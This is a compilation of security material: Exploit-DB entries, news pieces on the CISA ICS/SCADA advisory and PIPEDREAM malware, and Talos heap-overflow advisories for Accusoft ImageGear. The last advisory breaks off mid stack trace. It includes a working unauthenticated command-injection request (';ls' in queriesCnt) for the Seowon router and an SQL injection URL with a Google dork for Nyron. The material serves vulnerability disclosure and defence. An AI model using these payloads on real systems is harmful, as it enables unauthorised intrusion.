Seowon 130-SLC router all versions as of 2021-09-15 is vulnerable to Remote Code Execution via the queriesCnt parameter.

    # Exploit Title: Seowon 130-SLC router - 'queriesCnt' Remote Code Execution (Unauthenticated)
    # Date: 2021-09-15
    # Exploit Author: Aryan Chehreghani
    # Vendor Homepage: http://www.seowonintech.co.kr
    # Software Link: http://www.seowonintech.co.kr/en/product/detail.asp?num=150&big_kindB05&middle_kindB05_29
    # Version: All Version
    # Tested on: Windows 10 Enterprise x64 , Linux
    
    # [ About - Seowon 130-SLC router ] :
    
    #The SLC-130 series are all-in-one LTE CPE that delights you in handling multi-purpose environments that require data and WiFi,
    #Its sophisticated and stable operation helps you excel yourself at office and home,
    #Improve communication with excellence and ease your life.
    
    # [ Description ]:
    
    #Execute commands without authentication as admin user ,
    #To use it in all versions, we only enter the router ip & Port(if available) in the request
    #The result of the request is visible on the browser page
    
    # [ Sample RCE Request ] :
    
    POST / HTTP/1.1
    Host: 192.168.1.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Cyberfox/52.9.1
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Referer: http://192.168.1.1:443/diagnostic.html?t=201701020919
    Content-Length: 183
    Cookie: product=cpe; cpe_buildTime=201701020919; vendor=mobinnet; connType=lte;
    cpe_multiPdnEnable=1; cpe_lang=en; cpe_voip=0; cpe_cwmpc=1; cpe_snmp=1; filesharing=0;
    cpe_switchEnable=0; cpe_IPv6Enable=0; cpe_foc=0; cpe_vpn=1; cpe_httpsEnable=0;
    cpe_internetMTUEnable=0; cpe_opmode=lte; sessionTime=1631653385102; cpe_login=admin
    Connection: keep-alive
    
    Command=Diagnostic&traceMode=trace&reportIpOnly=0&pingPktSize=56&pingTimeout=30&pingCount=4&ipAddr=&maxTTLCnt=30&queriesCnt=;ls&reportIpOnlyCheckbox=on&btnApply=Apply&T=1631653402928

CVE-2021-42230: Offensive Security’s Exploit Database Archive

Omdia Senior Analyst Hollie Hennessy says the new threat to multiple ICS and SCADA devices underscores the importance of a rapid response to IoT and OT security risks.

On April 13, the Department of Energy (DoE), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA), and the Federal Bureau of Investigation (FBI) released a joint Cybersecurity Advisory to warn that certain industrial control systems (ICS) and supervisory control and data acquisition (SCADA) devices can be targeted by advanced persistent threat (APT) actors who have the capability to gain full system access.

The alert warned that vulnerable products include Schneider Electric programmable logic controllers, OMRON Sysmac NEX PLCs and Open Platform Communications Unified Architecture (OPC UA) servers.

Once on the operational technology (OT) network, APT actors can utilize certain custom-made tools to scan for vulnerable devices, and then exploit and subsequently take control of them.

The advisory also noted a critical issue with Windows-based engineering workstations. Systems in the OT environment, or even on the IT side, can be compromised using an exploit targeting vulnerable motherboard drivers.

Utilizing these techniques, importantly and worryingly, could allow APT actors to elevate their privileges, move laterally within the OT environment to other devices, and disrupt or crash critical devices.

With recent events, such as the Colonial Pipeline attack, which saw the entire OT environment shut down (despite not even originating with OT devices), plus the rise of ransomware and the threat of politically motivated national state actors, those in critical national infrastructure need to act fast.

DoE, CISA, NSA, and the FBI urge organizations, especially those in the energy sector, to implement detection and mitigation recommendations to detect APT activity and harden their ICS/SCADA devices.

The advisory credited security firms including Dragos, Mandiant, and Palo Alto Networks for contributions leading to the advisory. Dragos revealed it’s been analyzing the malware (dubbed PIPEDREAM) since early 2022.

**Conclusions  
**It goes without saying that threat actors will continually find a way to penetrate IoT and OT networks; this advisory is not the first of its kind, nor will it be the last.

The tricky issue with OT networks is their average age (often spanning decades), complex history (evolving organically with minimal planning), and the demanding nature of devices. Traditionally, OT environments did not connect to the IT network in the way they do today — they were physically segregated and disconnected from the outside world, as well as the enterprise and any IT-related functions. This is what’s called an "air gap" but is now a thing of the past.

Digital transformation and the connection of OT systems and other devices to the network broadens the attack surface and opens up industrial environments to attackers. But the business priorities driving this transition, plus the nature of legacy systems and devices that need to be constantly available, mean security is often left behind.

The alert underscores how important it is for enterprises to prepare to address these kinds of IoT and OT security advisories quickly and thoroughly, before adversaries can take advantage of them.

It may seem trivial, but first points of call include changing all passwords and maintaining offline backups — which can help to mitigate brute-force attacks and aid fast recovery in the event of an attack. Those in industrial environments need to ensure they have a robust cybersecurity posture in place — including adequate visibility and monitoring, alongside perimeter and access controls.

The alert notes the importance of collaboration between stakeholders across IT, cybersecurity and operations, which is especially important to ensure cybersecurity is effectively applied in these complex IoT and OT environments with their own unique requirements.

CISA Alert on ICS, SCADA Devices Highlights Growing Enterprise IoT Security Risks

Nyron 1.0 is affected by a SQL injection vulnerability through Nyron/Library/Catalog/winlibsrch.aspx. To exploit this vulnerability, an attacker must inject '"> on the thes1 parameter.

    # Exploit Title: Nyron 1.0 - SQLi (Unauthenticated)
    # Google Dork: inurl:"winlib.aspx"
    # Date: 01/18/2021
    # Exploit Author: Miguel Santareno
    # Vendor Homepage: http://www.wecul.pt/
    # Software Link: http://www.wecul.pt/solucoes/bibliotecas/
    # Version: < 1.0
    # Tested on: windows
    
    # 1. Description
    
    Unauthenticated user can exploit SQL Injection vulnerability in thes1 parameter.
    
    
    # 2. Proof of Concept (PoC)
    
    https://vulnerable_webiste.com/Nyron/Library/Catalog/winlibsrch.aspx?skey=C8AF11631DCA40ADA6DE4C2E323B9989&pag=1&tpp=12&sort=4&cap=&pesq=5&thes1='">
    
    
    # 3. Research:
    https://miguelsantareno.github.io/edp.pdf

CVE-2022-23865: Offensive Security’s Exploit Database Archive

The recent discovery of highly customized malware targeting programmable logic controllers has renewed concerns about the vulnerability of critical infrastructure.

The US Cybersecurity and Infrastructure Security Agency (CISA), along with the NSA, FBI, and others, this week urged critical infrastructure organizations — especially in the energy sector — to implement defenses against a set of highly sophisticated cyberattack tools designed to target and disrupt industrial environments.

The warning applies particularly to ICS and OT networks using programmable logic controllers (PLCs) from Schneider Electric and Omron and servers based on Open Platform Communications Unified Architecture (OPC UA). The advisory was prompted by the recent discovery of three malware tools custom-built to target these technologies and manipulate them in dangerous and potentially destructive ways. However, the malware can be adapted to attack other ICS technologies as well.

CISA's advisory contained a series of mitigation measures that it recommended organizations implement proactively to reduce exposure to the new threat.

Mandiant analyzed the new attack tools recently in partnership with Schneider and is collectively tracking them under the name INCONTROLLER. In a report this week, the security vendor described the malware as having an "exceptionally rare and dangerous" capability and posing a critical risk to organizations that use the targeted equipment. Mandiant compared INCONTROLLER to previous ICS-specific threats such as Stuxnet, which was used to destroy hundreds of centrifuges at an Iranian nuclear-enrichment facility in 2010, and Industroyer, which caused a power outage in Ukraine in 2016.

**Work of a Russian State-Sponsored Group?**  
"We believe INCONTROLLER is very likely linked to a state-sponsored group given the complexity of the malware, the expertise and resources that would be required to build it, and its limited utility in financially motivated operations," says Rob Caldwell, director of industrial control systems and operational technology at Mandiant. He says Mandiant has been unable to associate the malware with any previously tracked group but believes those behind it are most likely Russia-linked. "While our evidence connecting INCONTROLLER to Russia is largely circumstantial, we note it given Russia's history of destructive cyberattacks, its current invasion of Ukraine, and related threats against Europe and North America."

Mandiant identified one of the attack tools as "Tagrun," a tool for scanning OPC environments, enumerating OPC servers, harvesting data from them, and brute-forcing credentials. The security vendor identified the tool as likely used for conducting reconnaissance on industrial networks. Mandiant has dubbed the second tool as "Codecall," which it described as a framework that uses two common industrial protocols — Modbus and Codesys — to communicate and interact with at least three Schneider PLCs. The malware can identify Schneider and other Modbus-enabled devices on a network and connect to them using the two protocols. The third tool, "Omshell," targets Omron PLCs via HTTP, Telnet, and a proprietary Omron protocol. It is designed to interact with a mechanism on Omron devices for monitoring the safe running of so-called servo motors used in industrial applications. The malware can gain shell access to Omron PLCs and take a variety of malicious actions, including wiping device memory, resetting a device, loading backup data, and executing arbitrary code on it.

Collectively the malware tools have capabilities that allow attackers to surveil and collect data from target industrial environments that they can then use to identify high-value systems and to launch potentially catastrophic attacks against them in industrial settings. Potential attack scenarios include threat actors using Omshell and/or Codecall to crash targeted PLCs and disrupt operations; sending malicious commands to PLCs to sabotage industrial processes; or disabling safety controllers to cause physical destruction in a plant or industrial setting.

"The components of INCONTROLLER contain more sophisticated methods of interacting with and attacking or modifying the targeted devices than seen in previous ICS-specific malware," Caldwell says. These components are designed to make interaction with PLC devices easy for attackers with little detailed knowledge of the targeted ICS protocols. "Further, these components are modular and could be extended to target additional devices or add additional capabilities," he says.

Mandiant said it is also tracking two other tools targeted at Windows-based systems that appear to be related to INCONTROLLER activity. One of them exploits a known vulnerability, CVE-2020-15368, to install and exploit a vulnerable driver on target systems, and the other is a backdoor that enables reconnaissance activity. The tools could be used to support a threat actor's broader goals in an industrial cyberattack, Mandiant said.

**A Clear and Present Danger to Industrial Environments**  
ICS security vendor Dragos listed a total of 16 devices and software tools from Omron and Schneider that it said the malware was designed to interact with and exploit. The technologies are used in a wide range of industry verticals. But Dragos said its analysis of the malware suggests it is targeted mostly at equipment in liquefied natural gas (LNG) and electric power environments.

Dragos is collectively tracking the attack tools as "PIPEDREAM" and the threat actors behind it as "CHERNOVITE." A whitepaper that the company released this week on the threat identified the threat actor as having the ability — among other things — to manipulate the torque and speed of Omron servo motors in a way that could cause enough physical destruction to result in loss of life. Dragos' whitepaper listed several other malicious actions that threat actors could use the malware for, including triggering denial of control and denial for view for ICS operators; disrupting operating technology by masquerading as a trusted process; disabling process controllers to extend time-to-recovery from an incident; and undermining authentication and encryption mechanisms in OT environments.

"PIPEDREAM is a clear and present threat to the availability, control, and safety of industrial control systems and processes endangering operations and lives," Dragos said.

News of the malware tools comes just days after reports of Ukraine's computer emergency response team (CERT-UA) thwarting an effort by Russia's Sandworm group to disrupt the country's power grid using Industroyer, one of the first known malware tools targeted specifically at the electric grid. So far, researchers have discovered at least seven highly sophisticated ICS-specific attack tools, which include Stuxnet, Industroyer, Triton, and BlackEnergy.

Danielle Jablanski, OT cybersecurity strategist at Nozomi Networks, says the combined tools in this case were built to search for specific devices, to understand their operational parameters, to gain credentialed access, and to remotely control various legitimate functions of the devices for their intended objectives. "These are customizable based on the devices targeted but can be modified to target additional devices that leverage the same protocols," she says.

Jablanski says that options for thwarting attacks become scarce when threat actors have the credentials and know how to use devices based on their design, protocols, and features.

It's presently unclear in what host environment the newly discovered tools were found. But typically, some stop-gap measures for mitigating exposure to the threat would include disabling unnecessary functionality, introducing access controls to limit legitimate users who communicate with the device, and taking password management seriously. "Device hardening to limit the susceptibility and severity of cyber incidents is a staple of defense in depth strategies across ICS/OT environments," she says.

Eric Byres, CEO of aDolus Technology, says the new tools highlight a recent trend away from previous attacks where threat actors gained access to an OT environment by leapfrogging to it from the IT network. Those kinds of attacks have become less common with many organizations tightening OT security. So, sophisticated attackers are finding other ways to establish access to their victims' OT networks, he says pointing to Stuxnet as an example.

"Stuxnet did it through a combination of infected USB flash drives, printer sharing, and modified PLC logic files," he says. Similarly, Dragonfly, which was Russian in origin, attacked the manufacturers of OT control equipment and replaced the software they supplied to their industrial customers with trojanized versions.

"These supply chain-driven attacks are now becoming the preferred method for nation-state attackers, especially the Russian spy agencies," Byres says. "By going after OT suppliers rather than the OT systems directly, they get tremendous multiplication effects."

New Malware Tools Pose 'Clear and Present Threat' to ICS Environments

A heap-based buffer overflow vulnerability exists in the XWD parser functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

A heap-based buffer overflow vulnerability exists in the XWD parser functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

Accusoft ImageGear 19.10

**Product URLs**

ImageGear - https://www.accusoft.com/products/imagegear-collection/

**CVSSv3 Score**

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

**Details**

The ImageGear library is a document-imaging developer toolkit that offers image conversion, creation, editing, annotation and more. It supports more than 100 formats such as DICOM, PDF, Microsoft Office and others.

A specially-crafted XWD file can lead to a heap-based buffer overflow in the XWD parser, due to a missing size check.

Trying to load a malformed XWD file, we end up in the following situation:

    (27a8.2444): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000000 ebx=0bb36b30 ecx=00000075 edx=00000001 esi=0bb36b30 edi=0a90aff0
    eip=6ef7e280 esp=0019f608 ebp=0019f624 iopl=0         nv up ei pl nz na po cy
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010203
    MSVCR110!memcpy+0x567:
    6ef7e280 660f7f4f10      movdqa  xmmword ptr [edi+10h],xmm1 ds:002b:0a90b000=????????????????????????????????
    

The access violation is originated at [3] in the xwdread_read_bitmap function:

    void xwdread_read_bitmap(mys_table_function *param_1,uint param_2,XWD_read *XWDcontent,
                            undefined4 param_4,HIGDIBINFO param_5)
    
    {
    
    
      BytesPerLine = (XWDcontent->header_data).BytesPerLine;
      local_38 = 0;
      local_3c = 0;
      local_44 = 0;
      local_24 = 0;
      local_14 = 0;
      local_20 = 0;
      local_c = BytesPerLine;
      bit_depth = IGDIBStd::DIB_bit_depth_get(param_5);
      if (bit_depth == 1) {
        dst_buff_size = IO_raster_size_get(param_5);
      }
      else {
        dst_buff_size = DIBStd_raster_size_get(param_5);                                                    [1]
      }
      bitsPerPixel = (XWDcontent->header_data).BitsPerPixel;
      PixmapWidth = DIB_width_get(param_5);
      local_7c.size_buffer = DIB_height_get(param_5);
      
      [...]
      
      IOb_init(param_1,param_2,&local_7c,BytesPerLine * 5,1);
      lplValue1 = dst_buff_size;
      dst_buff = (byte *)AF_memm_alloc(param_2,dst_buff_size);                                              [2]
      if ((dst_buff != (byte *)0x0) ||
         (AVar3 = AF_err_record_set("..\\..\\..\\..\\Common\\Formats\\xwdread.c",0x3ad,-1000,0,lplValue1
                                    ,param_2,(LPCHAR)0x0), AVar3 == 0)) {
        local_8 = 0;
        if (0 < (int)local_7c.size_buffer) {
          while ((iVar6 = local_8, puVar4 = (uint *)get_data_from_file(&local_7c,BytesPerLine),
                 local_1c = puVar4, puVar4 != (uint *)0x0 ||
                 (AVar3 = AF_err_record_set("..\\..\\..\\..\\Common\\Formats\\xwdread.c",0x3b6,-0x803,0,
                                            BytesPerLine,param_2,(LPCHAR)0x0), AVar3 == 0))) {
            buff = puVar4;
            
            [...]
            
            bit_depth = IGDIBStd::DIB_bit_depth_get(param_5);
            if (true) {
              switch(bit_depth) {
              case 1:
              case 4:
              case 8:
                OS_memcpy(dst_buff,buff,BytesPerLine);                                                      [3]
                break;
              
              [...]
    }
    

The OS_memcpy function at [3] is a memcpy wrapper, so BytesPerLine bytes from buff are copied to dst_buff. The BytesPerLine value and buff’s content are taken directly from the XWD file. The destination buffer dst_buff is allocated at [2] using dst_buff_size as size.

The function DIBStd_raster_size_get, that computes the dst_buff_size value at [1], is shown here:

    AT_INT DIBStd_raster_size_get(HIGDIBINFO hdib)
    
        {
        [...]
        uVar1 = (*hdib->igdibstd_vftable->IGDIBStd::compute_raster_size)((IGDIBStd *)hdib);
        [...]
        return uVar1;
        }
    

The function call compute_raster_size:

    uint __fastcall IGDIBStd::compute_raster_size(IGDIBStd *param_1)
    
    {
    longlong lVar1;
    uint uVar2;
    ulonglong uVar3;
    
    lVar1 = (longlong)(int)(param_1->mys_struct_table_color).ptr_bits_per_channel_table *
            (longlong)(int)(param_1->mys_struct_table_color).ptr_channel_count;                             [4]
    uVar3 = __allmul((uint)lVar1,(uint)((ulonglong)lVar1 >> 0x20),param_1->size_X,
                    (int)param_1->size_X >> 0x1f);                                                          [5]
    lVar1 = (longlong)(uVar3 + 0x1f) >> 3;
                        /* if __all_mul's params2/4 are 0 the results is simply param1*param3 */
    uVar2 = (uint)lVar1 & 0xfffffffc;
    if ((-1 < lVar1) && ((0 < (int)((longlong)(uVar3 + 0x1f) >> 0x23) || (0x7ffffffe < uVar2)))) {
        wrapper_thow_exception
                ((undefined *)0xfffffe6f,(char *)0x0,(undefined *)0x0,(undefined *)0x0,
                (undefined **)0x1022fa38,(undefined *)0x29);
    }
    return uVar2;
    }
    

The calculation of dst_buff_size is based on the variable used in [4] and [5], where the first is dependent on the PixmapDepth and the latter is dependent on the PixmapWidth. The returned value is then used at [2] to allocate the dst_buff that is used as a temporary buffer to store, one at the time, the content of the bitmap’s “rows”. The problem is that neither PixmapWidth nor the calculated size are ever compared with the BytesPerLine variable. This allows the allocation of less space than required, leading to a heap-based buffer overflow.

**Crash Information**

    0:000> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Exception Analysis                                   *
    *                                                                             *
    *******************************************************************************
    
    
    KEY_VALUES_STRING: 1
    
        Key  : AV.Fault
        Value: Write
    
        Key  : Analysis.CPU.mSec
        Value: 2687
    
        Key  : Analysis.DebugAnalysisManager
        Value: Create
    
        Key  : Analysis.Elapsed.mSec
        Value: 10478
    
        Key  : Analysis.Init.CPU.mSec
        Value: 1015
    
        Key  : Analysis.Init.Elapsed.mSec
        Value: 63464
    
        Key  : Analysis.Memory.CommitPeak.Mb
        Value: 139
    
        Key  : Timeline.OS.Boot.DeltaSec
        Value: 206950
    
        Key  : Timeline.Process.Start.DeltaSec
        Value: 62
    
        Key  : WER.OS.Branch
        Value: rs5_release
    
        Key  : WER.OS.Timestamp
        Value: 2018-09-14T14:34:00Z
    
        Key  : WER.OS.Version
        Value: 10.0.17763.1
    
        Key  : WER.Process.Version
        Value: 1.0.1.1
    
    
    NTGLOBALFLAG:  2000000
    
    APPLICATION_VERIFIER_FLAGS:  0
    
    APPLICATION_VERIFIER_LOADED: 1
    
    EXCEPTION_RECORD:  (.exr -1)
    ExceptionAddress: 6ef7e280 (MSVCR110!memcpy+0x00000567)
    ExceptionCode: c0000005 (Access violation)
    ExceptionFlags: 00000000
    NumberParameters: 2
    Parameter[0]: 00000001
    Parameter[1]: 0a90b000
    Attempt to write to address 0a90b000
    
    FAULTING_THREAD:  00002444
    
    PROCESS_NAME:  Fuzzme.exe
    
    WRITE_ADDRESS:  0a90b000 
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
    
    EXCEPTION_CODE_STR:  c0000005
    
    EXCEPTION_PARAMETER1:  00000001
    
    EXCEPTION_PARAMETER2:  0a90b000
    
    STACK_TEXT:  
    0019f610 6e18f9a6     0a90aff0 0bb36b30 000000f5 MSVCR110!memcpy+0x567
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0019f624 6e3247d2     0a90aff0 0bb36b30 000000f5 igCore19d+0xf9a6
    0019f6bc 6e325165     0019fc3c 1000001e 0019f718 igCore19d!IG_mpi_page_set+0x1387a2
    0019f6e4 6e323dfb     0019fc3c 1000001e 0a338ff8 igCore19d!IG_mpi_page_set+0x139135
    0019fbb4 6e1c13d9     0019fc3c 0a338ff8 00000001 igCore19d!IG_mpi_page_set+0x137dcb
    0019fbec 6e2008d7     00000000 0a338ff8 0019fc3c igCore19d!IG_image_savelist_get+0xb29
    0019fe68 6e200239     00000000 052d7fc0 00000001 igCore19d!IG_mpi_page_set+0x148a7
    0019fe88 6e195757     00000000 052d7fc0 00000001 igCore19d!IG_mpi_page_set+0x14209
    0019fea8 00402219     052d7fc0 0019febc 00000001 igCore19d!IG_load_file+0x47
    0019fec0 00402524     052d7fc0 052d9fe0 0523df50 Fuzzme!fuzzme+0x19
    0019ff28 0040668d     00000005 05236f38 0523df50 Fuzzme!fuzzme+0x324
    0019ff70 75330419     0029e000 75330400 0019ffdc Fuzzme!fuzzme+0x448d
    0019ff80 778b72ed     0029e000 58b504f3 00000000 KERNEL32!BaseThreadInitThunk+0x19
    0019ffdc 778b72bd     ffffffff 778d65b3 00000000 ntdll!__RtlUserThreadStart+0x2f
    0019ffec 00000000     00406715 0029e000 00000000 ntdll!_RtlUserThreadStart+0x1b
    
    
    STACK_COMMAND:  ~0s ; .cxr ; kb
    
    SYMBOL_NAME:  MSVCR110!memcpy+567
    
    MODULE_NAME: MSVCR110
    
    IMAGE_NAME:  MSVCR110.dll
    
    FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_AVRF_c0000005_MSVCR110.dll!memcpy
    
    OS_VERSION:  10.0.17763.1
    
    BUILDLAB_STR:  rs5_release
    
    OSPLATFORM_TYPE:  x86
    
    OSNAME:  Windows 10
    
    IMAGE_VERSION:  11.0.50727.1
    
    FAILURE_ID_HASH:  {80e9803c-2e1f-2683-6c9b-fae163af54bc}
    
    Followup:     MachineOwner
    ---------
    

**Timeline**

2021-08-30 - Initial contact  
2021-08-31 - Vendor acknowledged and created support ticket  
2021-09-10 - Vendor closed support ticket and confirmed under review with engineering team  
2021-11-30 - 60 day follow up  
2021-12-01 - Vendor advised release planned for Q1 2022  
2021-12-07 - 30 day disclosure extension granted  
2022-01-06 - Final disclosure notification  
2022-02-23 - Public disclosure

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2021-21939: TALOS-2021-1368 || Cisco Talos Intelligence Group

A heap-based buffer overflow vulnerability exists in the DecoderStream::Append functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

A heap-based buffer overflow vulnerability exists in the DecoderStream::Append functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

Accusoft ImageGear 19.10

**Product URLs**

ImageGear - https://www.accusoft.com/products/imagegear-collection/

**CVSSv3 Score**

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-122 - Heap-based Buffer Overflow

**Details**

The ImageGear library is a document-imaging developer toolkit that offers image conversion, creation, editing, annotation and more. It supports more than 100 formats such as DICOM, PDF, Microsoft Office and others.

A specially-crafted JPEG 2000 file can lead to a heap-based buffer overflow in DecoderStream::Append, due to a wrongly sized heap buffer caused by an integer overflow.

Trying to load a malformed JPEG 2000 file, we end up in the following situation:

    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=41414141 ebx=ffffb007 ecx=029ebf58 edx=00000000 esi=00004ff8 edi=029ebf58
    eip=6e982f83 esp=0019f820 ebp=029ecf10 iopl=0         nv up ei ng nz na po nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010282
    igJPEG2K19d!CPb_JPEG2K_init+0x2e2c3:
    6e982f83 ff10            call    dword ptr [eax]      ds:002b:41414141=????????
    

This write access violation is happening in the function read_data_from_file, the second function called by DecoderStream::Append:

    undefined * __thiscall read_data_from_file(inner_struct_0x58 *this,byte *dst_buffer,uint read_size)
    
      {
        int iVar1;
        byte *current_file_position;
        byte *remaining_data_to_read;
        uint local_4;
    
        current_file_position = this->heap_mem_file_content_current_pos_ptr;
        remaining_data_to_read = this->heap_mem_file_content_end_of_file_ptr + -(int)current_file_position
        ;
        local_4 = 0;
        if (remaining_data_to_read <= read_size) {
          do {
            if (remaining_data_to_read != (byte *)0x0) {
              memcpy(dst_buffer,current_file_position,(size_t)remaining_data_to_read);                         [1]
              this->heap_mem_file_content_current_pos_ptr =
                  this->heap_mem_file_content_current_pos_ptr + (int)remaining_data_to_read;
              local_4 = (uint)(remaining_data_to_read + local_4);
              dst_buffer = dst_buffer + (int)remaining_data_to_read;
              read_size = read_size + -(int)remaining_data_to_read;
            }
            if (((byte *)read_size == (byte *)0x0) ||
              (iVar1 = (*(code *)*this->PTR_FUN_ARRAY)(), iVar1 == 0)) {                  [6]
              return (byte *)local_4;
            }
            current_file_position = this->heap_mem_file_content_current_pos_ptr;
            remaining_data_to_read =
                this->heap_mem_file_content_end_of_file_ptr + -(int)current_file_position;
          } while (remaining_data_to_read <= read_size);
        }
        if ((byte *)read_size != (byte *)0x0) {
          memcpy(dst_buffer,this->heap_mem_file_content_current_pos_ptr,read_size);
          this->heap_mem_file_content_current_pos_ptr =
              this->heap_mem_file_content_current_pos_ptr + read_size;
          local_4 = read_size + local_4;
        }
        return (undefined *)local_4;
      }
    

The read_data_from_file is called in DecoderStream::Append shown here:

    uint __thiscall
    DecoderStream::Append(int this,inner_struct_0x58 *inner_0x58,uint bytes_size,ushort param3)
    
    {
      [...]
    
      if (bytes_size != 0) {
        allocation_res = malloc_mem_wrap(*(int *)(this + 8),(int **)(this + 0x28),param3,bytes_size);          [2]
                        /* allocation_res[2] still reside in allocated memory */
        n_bytes_read = read_data_from_file(inner_0x58,(byte *)allocation_res[2],bytes_size);                   [4]
        if (n_bytes_read != (undefined *)bytes_size) {
          if (n_bytes_read < bytes_size) {
            memset((void *)((int)allocation_res[2] + (int)n_bytes_read),0xff,
                    bytes_size - (int)n_bytes_read);                                                           [5]
          }
          local_14 = 0xfffffbff;
          local_10 = "DecoderStream::Append";
          local_c = 0x8c;
          local_8 = "..\\..\\..\\iostream\\decoderstream.cpp";
          local_4 = "unexpected EOF on pulling encoded data";
          uVar1 = FUN_73ecf6a0(*(int *)(this + 8),&local_14);
          return uVar1 & 0xffffff00;
        }
      }
      return CONCAT31((int3)((uint)n_bytes_read >> 8),1);
    }
    

The heap buffer in which the heap overflow takes place is allocated in [2]. The function called at [2] allocates a buffer with a size related to bytes_size, which is directly read from the file. This buffer is than populated, with data taken from the file, in [4] . If the buffer is not full after [4], the remaining available space would be filled up with 0xff in [5].

The first instructions of malloc_mem_wrap, the function called in [2], are shown here:

    PUSH       ECX
    PUSH       EBX
    PUSH       EBP
    MOV        EBP,dword ptr [ESP + bytes_size]
    PUSH       ESI
    PUSH       EDI
    PUSH       ECX
    LEA        EDI,[EBP + 0x1c]                                                                                [3]
    PUSH       EDI
    MOV        ESI,param_2
    MOV        EBX,ECX
    CALL       Environ::AllocMem
    [...]
    

An integer oveflow could occur in [3] because of the sum of bytes_size and 0x1c, leading to allocate a wrongly sized buffer. This could lead to a heap-based buffer oveflow in [1] and/or [5], which can result in remote code execution.

The exception, shown previosly, is the consequence of exploiting the wrongly sized allocated memory due to the integer overflow in [1]. In this specific case this led to overwriting an object’s field, living in the heap, that is used to fetch a function array pointer, then used in [6].

**Crash Information**

crash output:

    0:000> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Exception Analysis                                   *
    *                                                                             *
    *******************************************************************************
    
    
    KEY_VALUES_STRING: 1
    
        Key  : AV.Dereference
        Value: String
    
        Key  : AV.Fault
        Value: Read
    
        Key  : Analysis.CPU.mSec
        Value: 2764
    
        Key  : Analysis.DebugAnalysisManager
        Value: Create
    
        Key  : Analysis.Elapsed.mSec
        Value: 14845
    
        Key  : Analysis.Init.CPU.mSec
        Value: 687
    
        Key  : Analysis.Init.Elapsed.mSec
        Value: 1088838
    
        Key  : Analysis.Memory.CommitPeak.Mb
        Value: 133
    
        Key  : Timeline.OS.Boot.DeltaSec
        Value: 24729
    
        Key  : Timeline.Process.Start.DeltaSec
        Value: 1088
    
        Key  : WER.OS.Branch
        Value: rs5_release
    
        Key  : WER.OS.Timestamp
        Value: 2018-09-14T14:34:00Z
    
        Key  : WER.OS.Version
        Value: 10.0.17763.1
    
        Key  : WER.Process.Version
        Value: 1.0.1.1
    
    
    NTGLOBALFLAG:  470
    
    APPLICATION_VERIFIER_FLAGS:  0
    
    EXCEPTION_RECORD:  (.exr -1)
    ExceptionAddress: 6e982f83 (igJPEG2K19d!CPb_JPEG2K_init+0x0002e2c3)
       ExceptionCode: c0000005 (Access violation)
      ExceptionFlags: 00000000
    NumberParameters: 2
       Parameter[0]: 00000000
       Parameter[1]: 41414141
    Attempt to read from address 41414141
    
    FAULTING_THREAD:  000027cc
    
    PROCESS_NAME:  Fuzzme.exe
    
    READ_ADDRESS:  41414141 
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
    
    EXCEPTION_CODE_STR:  c0000005
    
    EXCEPTION_PARAMETER1:  00000000
    
    EXCEPTION_PARAMETER2:  41414141
    
    STACK_TEXT:  
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0019f830 6e9c82c6     029e7f18 ffffffff 029f1ea8 igJPEG2K19d!CPb_JPEG2K_init+0x2e2c3
    0019f848 6e8e2ebb     0019f960 6e8e12b4 00000048 igJPEG2K19d!CPb_JPEG2K_init+0x73606
    0019f850 6e8e12b4     00000048 02a2b308 6e99cd17 igJPEG2K19d+0x2ebb
    0019f960 6e97d73e     029e0f78 02a2afc8 00000055 igJPEG2K19d+0x12b4
    0019f980 6e974109     029e0f78 02a2afc8 02a2c458 igJPEG2K19d!CPb_JPEG2K_init+0x28a7e
    0019fa58 6e96f55c     029e0f78 02a2afc8 007ebd78 igJPEG2K19d!CPb_JPEG2K_init+0x1f449
    0019faac 6e96cccd     02a2afc8 02a2aec8 02a2b044 igJPEG2K19d!CPb_JPEG2K_init+0x1a89c
    0019fb10 6e95dbba     02a2afc8 8c153897 007ebd78 igJPEG2K19d!CPb_JPEG2K_init+0x1800d
    0019fb54 6e961059     00000000 02a2aec8 00000000 igJPEG2K19d!CPb_JPEG2K_init+0x8efa
    0019fb70 6e9570a6     007ebd78 02a2aec8 8c15385f igJPEG2K19d!CPb_JPEG2K_init+0xc399
    0019fb9c 6e95711e     0019fc3c 007ebd00 00000000 igJPEG2K19d!CPb_JPEG2K_init+0x23e6
    0019fbb4 6ef013d9     0019fc3c 007ebd00 00000001 igJPEG2K19d!CPb_JPEG2K_init+0x245e
    0019fbec 6ef408d7     00000000 007ebd00 0019fc3c igCore19d!IG_image_savelist_get+0xb29
    0019fe68 6ef40239     00000000 007177a0 00000001 igCore19d!IG_mpi_page_set+0x148a7
